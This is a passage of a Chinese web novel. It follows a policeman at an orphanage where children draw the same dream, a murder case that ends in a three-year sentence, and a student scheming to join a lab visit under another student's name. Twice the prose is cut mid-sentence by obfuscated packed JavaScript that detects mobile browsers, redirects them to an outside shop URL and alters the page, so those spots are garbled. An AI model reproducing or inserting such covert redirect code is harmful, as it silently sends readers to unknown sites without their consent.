熊小滚心里冷不防慌起来,气道:“这说完就走的毛病跟谁学的,你把话说清楚了!什么叫不一样了?影青,影青!阿冶——” 公冶去了后面大院,办公室连个鬼影儿都没有,实验室也关着。 这个点,孩子们应该在三楼教室上课。他去旁边的休息室冲了澡,因为换洗衣物放在职工宿舍,他拿了柜子里一套淡蓝色的护工服穿上。 他刚来歌华的那几个月,跟着小马哥带过孩子们,所以配了护工服,这衣服偏宽松,套在他健硕的身躯上,把他的侧影衬托得十分瘦。 他已经不生气了,带新人虽是桩吃力不讨好的苦差,但带就带呗,反正没多久他就要调走了。 宣传科在B区,以后他和特发科的同事大概一年里也见不到几面了。 公冶一边用毛巾擦着湿发,一边走到桌前拿起一份报告看。门没关,走廊上传来哒哒哒的跑步声。 一个四五岁的小女孩冒出头,泪眼汪汪地环顾休息室,看到有个护工哥哥在那里擦头发,她呜呜地说:“大哥哥……” 公冶把毛巾搭肩膀上,偏头瞧她,她认出了护工哥哥是影青,眼泪水唰地滑下来:“小八哥哥救命啊……小可要死掉了……你快救救他……” 他心中一惊,先安抚小女孩,旋即从抽屉里取出两管备用针剂,抱上小女孩直奔教室。 教室里,孩子们围成一圈,把一个小孩和一个男人簇拥在中间。 公冶赶到时,暮火已为小可注射好针剂,大手顺着他的背一下一下抚摩,口头提醒小可吸气呼气。 小可脸色煞白,胸腔鼓缩,柔软的脖颈上血管青筋清晰可见。 公冶放下小女孩,小女孩跑进包围圈,喊着:“小可,小八哥哥来了,你不要怕。” 暮火先转过头,对公冶说:“红肿已经消退,孩子暂时没事。” “好。” “把彩铅舔进去了,可能对颜料成分过敏。我用的白色那支。” “那是激素药,不要紧,这个月还没说控制用量。” 孩子们像一颗颗团子软乎乎地黏上来抱他的腿。公冶挠挠他们的头,看看小可的样子,又说:“朗院长呢?” “去开会了。” 公冶蹲下来,观察小可的情况,小可本来不哭的,见公冶来了,泪阀一下子打开,小爱在旁边说:“男子汉大丈夫,不许掉眼泪。” “没事的小可,你还小,可以哭。” “小八哥哥,你怎么可以反驳我,你明知道我最喜欢你——”这下换成小爱捂住脸搁那嗷嗷痛哭了,暮火无奈地摇头:“你干嘛和孩子较劲。” 公冶没想那么多,他此刻只希望小可好起来,事后他也跟小爱道歉了,但经此一击,小爱对公冶的爱意已不复存在。听暮火说,当时小可发病,只有小爱立刻为小可进行了正确的救治,救治步骤还是从小马哥那学来的。 公冶得知后不禁夸赞道:“小爱你真棒。” “哼,”小爱一声冷笑,“现在知道我好了?天杀的男人,即便你夸我,我也不会回心转意了。” 公冶扶额无话可说,暮火苦笑:“估计最近又看杂书了。” 小可拽了拽公冶的袖子,委屈巴巴的:“小八哥哥你抱抱我。” 小可平常总是护着小爱,颇有男子气概,一生病就跟哭包似的,公冶把他抱起来,轻拍他的背。 他已经七岁了,可因为生病,身体瘦小得和三四岁的孩子一样,其他孩子嘲笑小可,就会被小爱的拳头打得直呼“爱奶奶”。 小可吸着鼻涕,像只没断奶的小狗呜呜撒娇,公冶心疼地哄了会儿,小可被哄得有点犯困,搂着公冶睡着了,小爱一脸严肃,双手背在身后,正妻查岗似的紧紧跟在公冶身边,仰头看着小可。 这节是自习课,护工不让孩子们外出,他们就在教室里画画,各种彩笔蜡笔摊了一桌,已经画好的几幅杰作贴在后面的黑板墙上。 公冶抱着小可走到黑板前,一幅幅观赏过去,小爱指着其中一张:“这是我和小可一起画的!” 暮火去找偷懒的护工了,孩子们哇啦哇啦拥上来,分别指出自己的画,说这次的主题是梦,而此时此刻,公冶的脸色已经变了。 这些画殊途同归,大多只用了四种颜色——黑,蓝,黄,绿。 黑色的漩涡,蓝色的烟花,黄色的星空,有空隙的地方则涂满绿色。每一幅画之间都像有着某种联系,通过不同角度呈现出来。 公冶注视着其中一幅,上面用蓝色蜡笔涂了一头蓝鲸,全身附满藤壶。孩子画技虽显稚嫩,但密集恐惧症的人看了照样会不舒服。 他久久没作声,有小孩说:“这是我昨晚梦见的。” 其他孩子纷纷喊道:“我昨晚也梦到这个了!” “我也是我也是!我也画了!” 大家拿出自己的画,双手展开努力举到公冶面前——圆的长的扁的,俯视的仰视的平视的……各种形态角度的蓝鲸都有,有的抽象潦草,有的只画了鲸鱼的眼睛和周围纹路,霸占整张白纸,公冶几乎没认出来。 一个没举画的小孩躲在公冶身后说:“小八哥哥,他们都画错了。” 公冶皱眉:“画错了?为什么这么说?” 小孩自豪地站出来发言:“因为蓝鲸游动速度很快,不利于藤壶寄生,所以蓝鲸身上是不长藤壶的。” “你胡说,”其他孩子争辩,“我们就是梦到了这样的大鲸鱼,你凭什么说蓝鲸不长藤壶,海洋那——么大,你能保证每只蓝鲸都不长藤壶吗?” “说不定就有懒惰的蓝鲸,不爱游泳不爱动,它就被藤壶寄生了。” 小孩急哭了:“我就是知道!我书里读到过的!藤壶不喜欢冷的环境,蓝鲸总是在冷、冷的……呜小八哥哥他们欺负我——” 其他孩子不管他,继续兴奋地聊:“我当时在天上翱翔,周围有好多亮晶晶的流星!” “对对对,有黄色的流星,蓝色的流星!” “我梦到了绿色的蝴蝶!扇着好大好漂亮的翅膀!” “我一直爬在一棵树上,那棵树还有肩膀,还很温暖。” “不可能,树怎么会有肩膀?” “是树枝吧。” “不是!我就是趴在树的肩膀上,树下面是一片黑色的大海,我是抬起头看到天上有好多发光的毛毛虫,有黄的蓝的,也有绿的。” “哇,那棵树是什么颜色的?” “我不记得了。” “我懂啦!其实我们都在同一个梦里,只是你和我在天上飞,他掉在下面那棵树上了,所以我们周围特别亮,看不见黑色大海,而他既可以看到我们,也可以看到树下面的大海!” “所以我们其实不是流星,而是会发光的毛毛虫?!” “树为什么会种在大海里呢?” 孩子们七嘴八舌讨论起来,小爱始终安安静静站在一边,没有加入,转头去看自己和小可画的画。 他们画了漫威里的蜘蛛侠和毒液,和主题无关,也和这里格格不入。 暮火回来了,两个年轻护工亦步亦趋跟在后头,一进教室就招呼孩子们回到自己座位上。 “小可发病了,记录一下,”暮火对两名脸红的护工沉声吩咐,“下次上厕所轮流去,至少留一个人看护孩子们。” 公冶安慰好被气哭的小孩,把熟睡的小可交给护工,同暮火走出教室。 暮火走在前面,刷着手机,身后突然响起一声:“暮火,你觉得大家会在同一时间做相同的梦吗?” “同一时间做相同的梦……?”暮火闻言驻足,回头看他,“你是说孩子们画的那些画?” 公冶欲言又止,他混沌的大脑里仿佛在掀起风浪,那个怪诞的梦,和梦里那个怪人,像锋利反光的碎片划过心口。 “就是那些画,我觉得太诡异了,你昨晚有梦到吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579340|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“没有,”暮火沉吟,“不止我,小可和小爱也没做发光毛毛虫的梦。” “对啊,为什么孩子当中只有小可和小爱没有做发光毛毛虫的梦?” “你问我?”暮火轻笑,“我怎么能知道,别瞎想了,没事的,可能有很多小孩并没有做这样的梦,只是看到大家都画了,也想参与进来。” 公冶勉强点点头,瞧了他一会儿:“大忙人,你今天不请假?” “不请了,怕你说我。” 一针见血,公冶也没道理再挖苦,暮火说:“你白天要待在这?” “我下午去看看开宇。” 走廊尽头,斗香和蝶衣正走过来,对着手机频频摇头:“得罪的人太多,他已经被暗杀两次了吧。” 暮火随口一问:“聊什么国际大事呢?” “组长,快看热搜,南陆的王子殿下被暗杀了。” 还真是国际要闻。 斗香把手机怼到暮火和公冶脸前,暮火说:“这次真的死了?” “真的!就早上发生的事!王子殿下在拉屎的时候被人一枪击毙了。” 热搜不长,公冶正读到【霍利斯·维克托里在凯旋饭店三楼洗手间遭人使用枪支击杀,凶犯疑似旧王室追崇者】,被斗香一句响亮的“拉屎”拉回了神。 蝶衣蹙眉:“元首阁下似乎不怎么伤心。” 斗香无语:“你说马里奥爷爷?饶了他吧,八十岁了,走路都走不灵清,上台摔了一跤,那场演讲就在一众保镖兵荒马乱的搀扶中落下帷幕。” 暮火忍不住笑了。南陆元首叫马特奥,因长相酷似马里奥才在网上走红。 “旧王室追崇者……”蝶衣揪住关键字眼,“原来南陆还有旧王室呀,斗香你知道旧王室叫什么吗?” 斗香不太清楚,摇摇头,暮火面色沉静地道来:“辛克莱尔。” “啊?辛苦什么?” “辛克莱尔,”暮火说,“二十年前,马特奥·维克托里被拥立为南陆第四十一代君主,维克托里一族在即位当天把辛克莱尔的正统王室血脉绑到台子上全部绞杀示众,那个画面还登报了。” “太残忍了,这不报应来了,”斗香摊手,“登基就好好登基嘛,何必在大喜的日子里弑君弑父,这让民众如何安心。” “还好我们不搞这套。” “就是说呢。” 她们说说笑笑走远了,暮火转头去瞧公冶。 公冶在看自己手机上的新闻,和南陆暗杀事件无关。他神色如常:“那我先走了。” “嗯。” 暮火乘电梯下去了,公冶走的楼梯。 他走到二楼,在转角口的阴影里无声站了一阵,才迈步离开。 中午食堂炖了秋葵蒸蛋,簪鱼和吟枝看了群里发的一周菜单,发现只有今天有蒸蛋,但她们懒得动腿,于是花言巧语抬着刚睡醒的响尾组长,求他跑一趟。 饭搭子不在,响尾不想一个人跑食堂,正犹豫着,影青过来扔了包烟给他,他也不问人家吃了没,一把锁定目标将人掳走了。 “我打包,你呢?” “我在这吃。”被绑架来的人质毫无求生欲地对劫匪说道。 “那我不陪你了,小鱼儿和树杈子催我了。” “快给她们带去吧,”公冶无奈说道,等响尾走后,他接通视频聊天,对面是邓烟雨放大的脸,他觉得有点可爱,“找我?” “你在干嘛。” “吃饭。” “我也是!” 公冶笑了,吃了一口秋葵蒸蛋,说:“阿姨今天炖的蛋有点水了。” “你们单位食堂发挥不稳定啊。” “是的,”公冶念旧了,“还是你炖的蒸蛋好吃。” 邓烟雨捂嘴偷笑,像只鬼马精灵的小野猫:“你想吃?” “想吃还不行了?” “想吃得叫我什么?” “那个……”公冶就像考试时忘记了一道背得滚瓜烂熟的公式,“什么来着……” “过了多久你就忘啦?那你想着去吧。” 于是他鼓足勇气,憋红了脸:“宝贝算吗?” 他不明白自己怎么能说得出口,不敢看手机,等了会儿瞄了一眼,发现对面也红成了一颗西红柿。 周围好安静,公冶下意识抬头,食堂阿姨就在对面擦桌子,正似笑非笑地歪头看着他。 他瞬间红温。 这时手机里传出羞涩的一声:“真说得出口,闷骚男。” 阿姨胡乱抹了两把桌子,提着不锈钢盆离开,转身时嘴角扬上了天。 公冶坐在位子上,尴尬地抓头发,蛋都吃不下去了。 他发誓,后面一个月不管食堂烧什么好吃的,他也不会再来了。 吃过午饭,公冶驱车前往歌大第一医院,进病房前听到里面有交谈声。 贺开宇费力地削着苹果,听到敲门声说了声进来吧,小梁转过头,和公冶对上视线:“哟,青。” “好些了吗?” “好多了!”贺开宇缠满纱布头也不抬地回复,还在和苹果较劲。 公冶疑惑地看小梁:“怎么不帮他削?” 小梁耸耸肩:“我不会削苹果,我让他换香蕉吃,我给他剥,他不肯。” 公冶叹气,接过刀和坑坑洼洼的苹果:“我来吧。” “影青你真好。” “人美心善贤惠持家。” “就是就是。” 小梁和贺开宇一唱一和,公冶并不领情,端详苹果片刻,说:“像颗氧化的月球。” “……” “……” 门关着,房间内只有他们三人。小梁清了清嗓子,放下二郎腿:“正好影青来了,我有件事要和你们说。” “说。” “讲。” “别墨迹。” 小梁纠结半天,说:“东行的案子落定了,古慷可能……只判三年。” 88. 笑意 公冶的刀顿住了,贺开宇整个人都顿住了:“你说什么?什么三年?” 小梁:“估计在里面态度好点,没几年就能放出来了。” 贺开宇弹射坐起:“不是,人都还没进去怎么就说要放出来了?还三年,哪来的三年?谁定的三年?” “哎呀,”小梁挠挠头发,把凳子拉拉近,“那个抛尸的梁大谷全揽了,寻了个私人恩怨的借口,在博山文化广场向西那条小路上把裴远航弄晕了,送古慷家里,路上人已经被不小心捂死了……” 小梁束手无策:“细节梁大谷都说得出,以目前的证据,古慷只承认参与分尸,不承认杀人。” 贺开宇:“你说什么?!” 小梁:“他最多构成一个侮辱尸体罪。” 公冶比贺开宇冷静:“古慷那晚没去文化广场。” “他确实没去,”贺开宇说,“但他是主谋,他指使梁大谷杀的人,而且梁大谷知道古慷有活剖的怪癖。” “人是误杀的。” “误杀就能原谅吗?!这种鬼话你也信?!梁大谷在包庇他,你们为什么要装聋作哑?!三年,这就是我们给裴远航父母的交代:你儿子只值三年!这判下来笑掉大牙了,还当什么警察啊,门口公安局这三个字也摘了吧!” 小梁吸气:“你别发火啊。” “因为你们都不当回事!凡事涉抵美协会,你们都不当回事!古慷勒我的时候亲口说‘我就喜欢活蹦乱跳的’,对生命毫无同情敬畏之心——” “开宇,”公冶喊了他一声,看到他颈部变浅的勒痕,“不说裴远航,开宇脖子上的伤要怎么解释,古慷故意杀人未遂,这都不算进去?” “这人不是没事嘛……” 贺开宇人彻底傻了。 “人没事,问题就不大,我原话复述,而且开宇现在活蹦乱跳的,”小梁上下指指,“真正意义上的活蹦乱跳,我没那意思。” 贺开宇仿佛被雷炸了,半天不动。 “一把年纪,劳苦功高,国家是希望他安度晚年。前两天抵美的会长专程跑了趟市局,在赵局的办公室里坐了好一阵。” “古夏?” “额……嗯,好像是叫这名。” 公冶把一块红彤彤的果皮连带果肉一起削了下来。 “他这情况判不了多少年,何况年纪大了,更不会重判,赵局也要听上面的意思。其实大家心中都有数,人出来以后第一个找你们算账,所以后期大概率要对你们进行调岗,歌华是待不了了。” 贺开宇放弃挣扎,往抬高的床头上一倒,颓然盯着天花板:“是么……只是调岗这么简单……?” 小梁难搞地抠抠眉毛:“目前是这么说的,唉。” 贺开宇心脏跳动过快,他咬牙忍耐不适,捂住脸:“可这事……” 这事和影青原本没关系,那天是我非要去找他,说了那些话。 是我连累了他? 愧疚是最难消化的情绪,贺开宇听着削苹果的哧哧声,连一声道歉也说不出口。 他自责地抓紧被子,把头侧开。 苹果削完,公冶放下刀,把淡黄的苹果递给贺开宇,贺开宇轻轻摇头,他又问小梁:“你要吃吗?” 小梁反问:“你不吃吗?” “不了。” 小梁接过苹果。 公冶抽了张纸,擦手,说:“我年初和熊队提出了转岗申请。” 两个人都愣住了。 “不想耗在一线了,太累,下面科室空出个位置,我申请了,”公冶神色自若地看向贺开宇,“熊队已经批准,所以……” “已经没事了。” “开宇,我们都会没事的。” 午后的阳光把贺开宇的脸色照得略微发白。 公冶目光温和轻松,还是那副无所谓的态度,贺开宇胸口却像堵住了,勉强扯起嘴角,对他释怀般地一笑,不再多说。 小梁看看他们,啃着汁水多但不甜的苹果,垂下了睫毛。 公冶在病房没坐多久,出来时外面阳光正好,他穿过门诊露天走廊,在大门口遇见一个熟人。 叶穿林倚在承重柱旁,对他微笑招手。 公冶朝他走去。 “我以为你会无视我呢。” 公冶冷冷开口:“你们来歌华仅仅是学术交流?不为别的?” 叶穿林感到头疼:“哇,上来就开门见山,我快喘不过气了。” 他最烦叶穿林装模作样,漠然往前走,叶穿林不紧不慢地跟上:“顾院长什么心思,我不好猜。” 两人走到停车场,公冶问他:“来这看病?” “不看病,探病。” 公冶半眯着眼望向医院:“你在这还有病友?” “哈哈哈,有啊,这不来看他了。” “那我不耽误你了,你也别再跟着我。” “那不行,病友找到了,得好好聊上一聊。” 公冶怒视他,叶穿林眉开眼笑。 “脑科在前面。” “我脑子好着,”叶穿林说,“渡莲,捎我一程,我也要回总部。” “你先看病吧。”公冶打开车门要坐进去,叶穿林伸手摁住:“顾院长上午和朗院长开会,这会儿应该去看孩子们了。” 公冶缓缓与他对视,那眼神仿佛要噬人。 “你们敢动这里的孩子。” 叶穿林笑了:“不敢,哪敢啊,总得给朗院长面子,不过,朗院长也需要我们的技术,就像八年前一样。” 公冶隐忍着怒意盯他片刻,手松开车门,寒声说:“上车。” 车子快开到GS总部,等红灯期间,叶穿林拿出一只黑色盒子:“这是刚配好的抑制剂,我上次说的是气话,怎么会不给你呢。” “我不要,你自己收着吧。” 叶穿林叹气:“朗院长给你配的药太温和,止痛效果会日益缩短。” 红灯还有十秒。 “我也是靠着定期注射才没有变成只知道吃人的无脑怪,难道你想被人用铁链拴起来日日夜夜鞭打吗?” 公冶无动于衷。 “到时候,你觉得你的女朋友还会像现在这样,对你不离不弃吗?” “我自己去见她。” 叶穿林闻言一愣。 “这药,”公冶踩下油门,“让顾院长亲自给我,不是更好吗?” 叶穿林不说话了,把放在腿上的金属盒子默默握紧。 晚上值班,极乐迟到了二十分钟,来的时候蹑手蹑脚的,公冶在电脑上写工作汇报,背对她说:“迟到一小时也没关系,我们晚上又没人盯着,你正常走进来就好。” “你要扣我的牛马费吗?” “不扣,但至少和我说下原因。” “这就是原因。”极乐把警服解开的那一瞬,刺舟和毒株都紧了心弦,以为她要干嘛。 “喵~” 一只小奶猫从她胸口探出了头,新奇地打量世界。 “哇,”刺舟喜欢小动物,“好可爱……咦,它眼睛怎么了?” “眼球坏死,摘了,”极乐说,“这是小雨救的那只三花宝宝,小雨公寓不能养宠物,我先把它带过来了。” 公冶望了过来,三花猫的脑袋毛绒绒的,耳朵还有聪明毛,它左眼球做了手术已经摘除,看人的时候一只眼小一只眼大,像在wink。 “小雨说,让你给它取个名字。” 公冶打字的速度变慢了:“怎么不直接来和我说。” “干嘛?不开心啦?以为我要抢你的宝贝?”极乐一屁股坐下,没扣钱就是有底气,“没错,我要抢,我要做第三者,我是你情敌。” 毒株:“算我一个,第四者。” 刺舟:“我……我就不了……” 对面小组的人也起哄了:“我可以做第五者吗?” 结果小猫的名字没取好,公冶身后已经排满八个劲敌。 极乐把喂饱的小猫送去了朗院长办公室,回来发现组长不在:“上哪了?去厕所躲着哭了?” “一个女的来找他。” “什么?!” “毒株你好好说话,”刺舟轻叹,“是顾院长,她有事找组长。” 走廊转角口,顾令萍把盒子拿出来:“穿林告诉我,你想让我亲自给你?” “我开玩笑的。” “是吗,你以前从来不和我们开玩笑。” “我以后注意。” “拿着吧。” 公冶接过盒子:“还有事吗?” “我们决定对外公开思泊病毒的存在,”顾令萍说,“过几天,歌华科学技术大学的一批毕业生会过来参观学习,你来做我助手。” 公冶倚着墙,轻捏眉心:“你们的活动,和我们没关系。” “我知道,但你不一样,你是在孤儿院长大的,也带过孤儿院的孩子,对思泊病毒有一定知识储备,我需要你在场。” “小马哥比我更适合。” “小马主要负责带头讲解,那些护工不经事,我不想用,”顾令萍给了他考虑的时间,见他不愿意,笑了一下,又说,“不做我的助手也没关系,我自己也带了两个,你就陪着那群学生,他们在参观过程中有任何论题上的疑问,你帮忙回答,好吗?” “我不懂。” “我们只围绕思泊病毒展开讨论,不涉及专业方面的知识。” 公冶放下了手,算是答应了。 顾令萍向他走近一小步,垂眸说:“渡莲,前段时间我做了个手术。” 公冶抬眼看她。 “胃息肉,恶性,切了。” 周遭死一般寂静,公冶难捱地问道:“好些了吗?” “你能关心我,我当然好多了,”顾令萍眼角蓄着笑,“其实真正去鬼门关走了一遭,我才知道,如今的我应该做些什么。” “我希望所有的孩子都能健康平安地长大。” 长廊灯色偏冷,凝固在一角。公冶眼神复杂,没有避开她的目光,也没有回应她这句话。 周五,上午最后一节课结束,三个饥肠辘辘的女大学生犹如三颗导弹嗖地冲出教室一路发射向食堂。 “我早上吃了五块钱的酱香饼,五块钱啊,怎么会这么饿!”蔡蔡一边吸着乌冬面一边哭,“妈妈,我从来没有这么饿过……” “你的酱香饼被我吃了两块,对叭起。”邓烟雨把石锅拌饭的流心蛋戳开。 “今天上午的课都废脑子。”庆威凤还在喘,揭开鲜香的瓦罐汤,给邓烟雨和蔡蔡分别夹了一块肉。 蔡蔡感动得无法组织语言:“太阳打西边出来了!你要开善堂啊?” “我看你们碗里都素素的,就烟雨有颗蛋。” 邓烟雨急忙翻找自己碗里丰盛的八大食材,要给庆威凤夹一坨,庆威凤一脸慈爱地说:“别找了,就你那几条胡萝卜丝儿,我也不稀罕。” 邓烟雨:“……” 蔡蔡摇头:“舌头还是那么毒。” 邓烟雨和蔡蔡十分钟就光盘行动,饱得打嗝,庆威凤只喝了瓦罐汤,前面还接了个电话,这会在看手机。 “我们是真饿,你是要辟谷吗?” “哎呀,”庆威凤放下手机,把菜拌在一起扫下肚,嚼着说,“我有个朋友问我下周要不要去鸡爱思肘部擦瓜……” 蔡蔡脸都皱了:“什么?什么餐馆?” 邓烟雨耳朵尖:“GS总部?” “对,”庆威凤把饭咽下去,“GS总部实验院区开展了一个面向应届生的专题活动,邀请科大20名大四生前往本部参观学习,后续要写专题报告,如果被院里的老师看中了,有机会能留下来实习,我朋友的朋友已经报名成功但忽然又说不想去了。” “我靠!留下来实习?!这不老天爷赏饭吃吗?这么好的机会干嘛不去?加学分的呀!” 庆威凤耸耸肩:“当然是有更好的选择了呀。” 蔡蔡五味杂陈地感叹:“听说歌科大的都是有钱人家的千金和少爷,看来也不缺这点资源。” “不过愿意去院区参观的学生应该都是想好好造福社会的,我那个朋友的朋友是例外啦,”庆威凤说,“烟雨,你没听你家公冶警官说起过吗?虽然是实验院区的活动,但和GS办公楼也就两墙之隔,肯定消息互通的。” 邓烟雨摇摇头:“他没有和我说,报名界面能给我看一下吗?” “嗯,给。” 这次活动只向科学技术大学展开,报名通道已截止关闭,庆威凤滑了滑聊天记录,把她那位朋友的朋友的报名信息截图点开放大—— 庄缡缡,22岁,生物科学专业四年级生,学号124273 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579341|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 28xx…… 往下滑是她附的一寸蓝底照,长得像阿拉蕾,圆框眼镜,头发卷卷,扎了颗丸子头。 【唉,没办法取笑报名】 【取消报名】 【咋整啊,我不想去了啊】 【我有报名成功的二维码,有效期七天,甩你了】 【你不想去就给你朋友,别浪费这次机会】 【网上报名时身份都核实过了,我觉得线下应该不会再查,就算被查出来大不了走人喽[溜了溜了.jpg]】 庆威凤看向邓烟雨:“你男人真不靠谱,啥也不跟你说,以后结婚了估计要背着你藏私房钱。” 蔡蔡赞同道:“烟雨,去报复他一下吧。” 邓烟雨歪头:“和我们大学无关,他不和我说也正常,他很懒的。” “那你想不想去旁听?” “啊?” 庆威凤笑得不纯洁:“反正庄缡缡不去了,我们也没兴趣听,又是在你男朋友单位,你要不暂借庄缡缡的身份去实验院区看一看?” 蔡蔡煽风点火:“到时候回来和我们讲一下里面的环境!” “不要,太危险了,”邓烟雨脑袋摇得像拨浪鼓,“被发现就完了。” “怕啥!你老公罩着你呀!” 一段对话下来,她们对公冶的称呼已足足有四个了。 “他在前面办公楼,我像个间谍闯进他们实验区,这、这影响不好!” “我的天,你这话说得好像领导啊哈哈哈哈——” 庆威凤举起手机,放大庄缡缡的一寸照,比在邓烟雨脸边:“都是卷发,都是大眼睛,都是瓜子脸,烟雨你买个黑框眼镜戴上,再把头发扎起来,你俩简直不要太像,只要不检查身份证,百分百安全!” “千载难逢的机会,”蔡蔡搂着庆威凤,“加油,去试试,谁叫GS看不起我们歌财大,有啥活动都撇下我们。” “GS也不敢给歌财大发邀请吧。” “额……也对……” “你到时候就藏人堆里,别怕,肯定是一群人跟着老师们走的,你也不用写专题报告,这是庄缡缡的事,她不写也就不写了,她又不想去实习,这就是白给你一次参观机会呀!” “去吧去吧!” 邓烟雨被说得心动了,以至于晚上公冶来接她去吃饭,她都心不在焉。 “今天怎么都不说话?” “啊,”邓烟雨惊醒,“我、我在想课题,有个很难的课题,后天要交。” 公冶觉得她今天莫名有些紧张,却不知自己哪个行为让她紧张了。 “那个,公冶警官,你最近……很忙吗?” “还好啊。” 邓烟雨转着手指:“感觉这几天你都在值晚班。” “同事和我换了班,”公冶望着前方,说,“周末我正常休息。” 邓烟雨眼睛瞬间发亮:“真的?不值班了?” “不值了,”他说,“难得能凑出个双休。” “那我们出去玩?” “好。” 他不自觉地握紧方向盘,打了左转向灯。 又是那个称呼。 他知道她是叫习惯了,而且他也没主动要求她改口。 可不知怎么了,自从和她交往后,他越发对此介意。 这个称呼让他们之间有一种相敬如宾的疏离感。 公冶在心里轻叹一声,实在不明白自己的烦恼。 上次就是因为这点无关紧要的小事差点和她吵起来,这次他不敢再提。 或许邓烟雨从来不那么觉得吧。 “快看,”邓烟雨把手机举给他看,“友知姐发了小猫咪的照片,公冶警官你快点给它取个名字。” “我今晚想想。” “咦……”她好像刷到了更新奇的朋友圈,“这是哪里,好美哦,是云今哥发的,他在哪里拍的,好适合约会。” 公冶点了下刹车,在道闸抬起来时郁闷地捋了把头发,邓烟雨看过来时,他已恢复原状且非常平静了。 “你有钱带我去米其林餐厅吗?” “每天去都行。” “谢谢总裁大人。” 邓烟雨甜甜地哄着他,他心情总算好点了。在附近停好车,两人走进一家大型超市,邓烟雨要买些东西。 卫生巾用完了,既然来了就顺便去买几包回去。公冶胳膊靠着推车把手,目光落在对面货架打折促销的卷筒纸上。 他也不是乱花钱的人,便宜的东西也能吸引他。 “把脸转过来。” 女朋友的声音格外严厉不悦,公冶吃了一惊,立刻看向她。 邓烟雨气鼓鼓地瞧了他好一会儿,最后说:“长那么好看有啥用。” 公冶:“……” 公冶:“???” 公冶:“你怎么了?” “那些女生都在看你,”邓烟雨把卫生巾啪啪啪扔进车,“哼,我都站在你身边了,还看你,看看看有什么好看的,都长那么漂亮,也能谈到帅的,盯着我的男朋友干什么,我多辛苦才把你谈到手的,我为了谈到你我肚子上都破了一个洞,要不是那个洞我能谈到你?都怪你!谁叫你长那么帅……” 公冶快听不懂人话了。 这可太冤枉了,他也无法左右自己的长相,难道去整容把自己整丑? 正绞尽脑汁想法子安慰她,邓烟雨自己又看开了:“也对,人们都爱追求对美的事物,就像我也喜欢看美女和男人的腹肌,”她回头对公冶笑,“你不要在意哦,我可能生理期要来了。” 公冶愣了愣,直接埋头笑出了声。 “干嘛?有什么好笑的?” “你快把我迷倒了。” 邓烟雨脸唰地红了:“我!我说啥了就迷倒你了?你也太单纯了,以后出去要被人拐跑的!” 公冶眼含笑意看着她:“我好像已经被某人拐跑了。” 他们停在零食区,超市暖黄的灯光正好落满他一身,像镀了一层有质量的滤镜,男人眉眼间的笑意蕴着矜贵的光泽。 邓烟雨根本移不开目光,伸手去拉他外套,睫毛扑簌:“我今晚可以去你家吗?” 周围熙熙攘攘,身旁的人没动静,邓烟雨低下头,脸红得不行。 良久,他说: “嗯,来我家吧。” 89. 甜蜜信号 夜晚九点,车子向星湖区开。 沿途景色迷人,开上高架有一段路略堵,停停走走了几分钟。静止的路灯和流动的车尾灯交汇出一幕繁忙夜生活。 车载系统放着纯音乐,身旁的人手扶方向盘,在专心开车,邓烟雨往真皮座椅里一窝,点开相册,翻出刚存的那张照片。 照片上是公冶,双手斜插在口袋里往前走。今晚风大,把他的深色风衣吹了起来,他侧头和她说着话,散乱的碎发将眉眼勾勒得完美无缺,邓烟雨实在心动,就举起了手机。 他没注意到她在拍他,按下快门的一瞬转身了,照片拍糊了四分之一,但他们正好走到繁华的高楼大厦下,灯火最盛的地方,他仿佛从倾泻的星光里跨出来了一样,玫瑰金屑揉碎在他周围,连发丝也染着一层淡淡的光晕。 她将照片看了一遍又一遍,难以抵抗地设置成锁屏。 这是她第一次拍他,是他在她手机里的第一张照片。 音乐放了半分钟左右出现一个鼓点递进,车子也恰好在这时向前开动,邓烟雨有种被击中的感觉:“好好听。” “Flemington,”他说,“应该是叫这名,你搜搜看。” 即使他口音再标准,邓烟雨也无法凭空拼出那个对她而言算长的单词,于是她索性听歌识曲:“歌手叫Tomday?” “对。” 邓烟雨点点头,亮出自己的五毛钱英文水平,说:“嗖古德。” 话音未落,旁边传来收不住的笑声。 “干嘛,少嘲笑我的口音!” “像小黄人在说话。” 好多人都说她口语快得像坐出租车一路飞一路说,也只有公冶能联想到活泼可爱的小黄人。邓烟雨倒不气,但故意嘟着嘴,拨了拨自己的刘海。 “你四级过了没?” “小瞧谁呢,当然过啦,”她骄傲地哼了声,“我再差能差到哪儿去,等我把《聪明的投资者》读透了,你就来膜拜我这头金融巨鳄吧。” “金融巨鳄的英文怎么说。” 邓烟雨恼羞成怒地瞪他,公冶好整以暇地看回来,邓烟雨被他看得来气,拳头一握,大拇指朝自己一指,厚着脸皮说:“金融巨鳄就是我!所以它的英文就!叫!ME!” “……” “……” 公冶继续开车。 邓烟雨如坐针毡:“……” 邓烟雨:“你、你倒是说句话。” 公冶:“我,咳,我推荐你一部动画片,你肯定喜欢看,我每次看,都觉得里面那个茶色头发的女孩子好像你,她和你还是一、一个星座。” 邓烟雨:“《日常》?” 公冶:“……” 邓烟雨:“你是小傻瓜吗!脸都憋红了!想笑就笑出来呀!车里又没第三个人!” 十五分钟后抵达小区地下停车场,车子熄火,四下一片安静。 邓烟雨慢吞吞地解开安全带,公冶绕到副驾驶座把车门打开,绅士地挡着上方门框:“公主别生气了,请下车吧。” 